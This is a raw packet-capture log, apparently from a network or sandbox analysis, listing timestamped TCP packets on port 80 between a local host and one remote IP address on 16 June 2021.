Jun 16, 2021 12:06:04.236093998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236124039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236128092 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.236155033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236181974 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236187935 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.236215115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236242056 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236249924 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.236752987 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236768007 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.236798048 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236830950 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236833096 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.236860037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236890078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236890078 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.236922026 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236953020 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.236953974 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.236985922 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237015963 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237018108 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.237047911 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237080097 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237082005 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.237109900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237140894 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.237142086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237173080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237204075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237205029 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.237236023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237270117 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.237646103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237684965 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237719059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237744093 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.237752914 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237785101 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237787008 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.237817049 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237848997 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.237848997 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237881899 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237915039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237915993 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.237946987 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.237978935 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.237978935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238008976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238040924 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.238042116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238073111 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238104105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.238105059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238136053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238168001 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.238564014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238601923 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238636017 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238656998 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.238672018 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238704920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238706112 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.238738060 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238770008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238775015 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.238801956 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238833904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238837004 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.238867044 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238899946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238902092 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.238933086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238964081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.238965988 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.238997936 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239023924 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.239031076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239064932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239097118 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.239480972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239517927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239543915 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239552021 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.239573002 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239602089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239609957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.239631891 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239661932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239666939 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.239690065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239718914 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239726067 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.239748001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239778042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239782095 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.239806890 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239835024 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.239836931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239867926 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239897013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239905119 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.239924908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.239959955 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.240474939 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240513086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240545988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240552902 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.240578890 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240612030 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240617037 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.240648031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240679979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240681887 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.240712881 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240742922 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240745068 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.240772963 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240798950 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240824938 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.240833998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240860939 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240871906 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.240890980 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240921974 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240940094 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.240952969 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.240983963 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.241322041 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241349936 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241379976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241386890 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.241405964 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241434097 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241441011 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.241460085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241485119 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241489887 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.241511106 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241535902 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241543055 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.241571903 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241602898 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241605043 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.241632938 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241664886 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.241666079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241695881 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241727114 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241736889 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.241756916 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.241794109 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.242302895 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242333889 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242367029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242372990 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.242396116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242423058 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242429972 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.242449045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242475033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242482901 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.242501974 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242527962 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242533922 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.242554903 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242579937 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242588043 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.242607117 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242634058 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242640018 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.242659092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242686033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242695093 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.242712975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.242754936 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.243196964 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243571043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243609905 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243609905 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.243635893 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243663073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243690968 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.243704081 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243731022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243747950 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.243761063 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243789911 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243801117 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.243817091 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243844986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243850946 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.243871927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243901014 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243904114 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.243931055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243951082 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.243966103 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.243980885 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244014978 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.244122028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244148016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244174957 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244185925 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.244203091 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244230032 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244231939 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.244254112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244283915 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244291067 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.244312048 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244340897 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244344950 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.244369030 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244396925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244405985 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.244426966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244453907 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244461060 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.244481087 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244508982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244515896 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.244535923 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.244575024 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.245029926 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245069027 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245096922 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245104074 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.245122910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245148897 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245157003 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.245176077 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245202065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245209932 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.245227098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245254040 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245260954 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.245282888 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245310068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245320082 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.245337963 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245363951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245371103 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.245392084 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245420933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245424032 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.245449066 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.245481014 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.248716116 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.251734972 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.277872086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.277915955 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.277951002 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.277981043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278009892 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278038979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278045893 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278065920 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278065920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278069019 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278095007 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278124094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278131008 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278165102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278194904 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278203964 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278223991 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278251886 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278259993 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278280973 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278309107 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278317928 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278337002 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278364897 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278372049 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278393030 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278420925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278429031 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278448105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278475046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278492928 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278500080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278527975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278536081 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278561115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278592110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278603077 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278625965 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278659105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278666973 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278691053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278724909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278732061 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278757095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278786898 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278801918 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278815985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278848886 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278853893 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278881073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278913975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278918028 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.278945923 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278976917 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.278986931 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.279010057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279047966 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.279495001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279532909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279566050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279578924 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.279599905 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279650927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279650927 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.279681921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279714108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279716015 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.279747009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279778957 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279782057 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.279809952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279846907 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.279850006 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279880047 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279907942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279911995 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.279937029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279968977 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.279975891 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:04.279997110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:04.280030966 CEST	49170	80	192.168.2.22	172.67.158.27
